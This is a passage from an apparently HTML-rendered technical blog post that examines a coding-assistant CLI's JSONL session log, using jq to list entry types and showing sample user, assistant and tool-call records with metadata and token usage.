  &lt;span class="s2"&gt;"permissionMode"&lt;/span&gt;: &lt;span class="s2"&gt;"default"&lt;/span&gt;,
  &lt;span class="s2"&gt;"sessionId"&lt;/span&gt;: &lt;span class="s2"&gt;"67614647-7351-408e-88b8-2846dc62b860"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"file-history-snapshot"&lt;/span&gt;,
  &lt;span class="s2"&gt;"messageId"&lt;/span&gt;: &lt;span class="s2"&gt;"1ce9315d-d77c-4f52-8e8a-bf22db5d9139"&lt;/span&gt;,
  &lt;span class="s2"&gt;"snapshot"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"messageId"&lt;/span&gt;: &lt;span class="s2"&gt;"1ce9315d-d77c-4f52-8e8a-bf22db5d9139"&lt;/span&gt;,
    &lt;span class="s2"&gt;"trackedFileBackups"&lt;/span&gt;: &lt;span class="o"&gt;{}&lt;/span&gt;,
    &lt;span class="s2"&gt;"timestamp"&lt;/span&gt;: &lt;span class="s2"&gt;"2026-04-04T09:37:47.285Z"&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"isSnapshotUpdate"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Items have a &lt;code&gt;type&lt;/code&gt; argument. The first messages in the session log represent system messages. Let’s see the other types, and narrow it down to the entered user message.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/node/.claude/projects/-opt-claude/67614647-7351-408e-88b8-2846dc62b860.jsonl | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.type'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt;

&lt;span class="c"&gt;# Log output&lt;/span&gt;
permission-mode
file-history-snapshot
user
user
user
file-history-snapshot
user
assistant
assistant
user
assistant
last-prompt
permission-mode
custom-title
agent-name
system
system
custom-title
agent-name
permission-mode
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s see the &lt;code&gt;user&lt;/code&gt; message for the first prompt. It contains a set of metadata about the session’s context (&lt;code&gt;parentUuid&lt;/code&gt;, &lt;code&gt;promptId&lt;/code&gt;, &lt;code&gt;uuid&lt;/code&gt;), invocation and version information (&lt;code&gt;version&lt;/code&gt;, &lt;code&gt;entrypoint&lt;/code&gt;,&lt;code&gt;cwd&lt;/code&gt;), and the message itself (&lt;code&gt;message.role&lt;/code&gt;, &lt;code&gt;message.content&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"parentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"8d64d2af-615d-4cfe-8843-273de873d9da"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isSidechain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"promptId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"97fe3efe-e395-41b9-96aa-34497e529ca4"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Parse @README.md"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cfab7717-ca08-45bf-9e0f-2241668efe23"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-04T09:38:00.929Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permissionMode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"default"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"userType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"external"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entrypoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cwd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"67614647-7351-408e-88b8-2846dc62b860"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gitBranch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"main"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The directly following &lt;code&gt;system&lt;/code&gt; message contains the same context, invocation, and version information, but a structurally different message with &lt;code&gt;message.type&lt;/code&gt;, &lt;code&gt;message.role&lt;/code&gt;, &lt;code&gt;message.model&lt;/code&gt;, and usage statistics.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"parentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cfab7717-ca08-45bf-9e0f-2241668efe23"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isSidechain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"msg_2026040417373648e22180f7914ce1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"assistant"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"model"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claude-sonnet-4.6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"I'll parse the README.md file for you.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"stop_reason"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"stop_sequence"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"usage"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"output_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"assistant"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"9b4b857e-3a25-4b03-b20b-da76f5677c77"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-04T09:38:09.698Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"userType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"external"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entrypoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cwd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"67614647-7351-408e-88b8-2846dc62b860"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gitBranch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"main"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"slug"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"hashed-enchanting-ritchie"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And finally, the directly following tool invocation. It reveals the fields &lt;code&gt;message.content.type&lt;/code&gt;, &lt;code&gt;message.content.name&lt;/code&gt;, &lt;code&gt;message.content.input.file_path&lt;/code&gt;. And at &lt;code&gt;message.usage&lt;/code&gt;, statistics about the LLM invocation, which parsed the file content and formulated an answer, can be found.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"parentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"9b4b857e-3a25-4b03-b20b-da76f5677c77"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isSidechain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"msg_2026040417373648e22180f7914ce1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"assistant"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"model"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claude-sonnet-4.6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tool_use"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"call_enqown30a3q"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Read"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"file_path"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude/README.md"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"stop_reason"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tool_use"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"stop_sequence"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"usage"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;34459&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"cache_creation_input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"cache_read_input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;838&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"output_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"server_tool_use"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"web_search_requests"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"web_fetch_requests"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"service_tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"standard"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"cache_creation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"ephemeral_1h_input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"ephemeral_5m_input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"inference_geo"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"iterations"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"speed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"standard"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"assistant"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2da6dc71-8c0c-486a-9593-b04e0674a795"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-04T09:38:09.698Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"userType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"external"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entrypoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cwd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"67614647-7351-408e-88b8-2846dc62b860"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
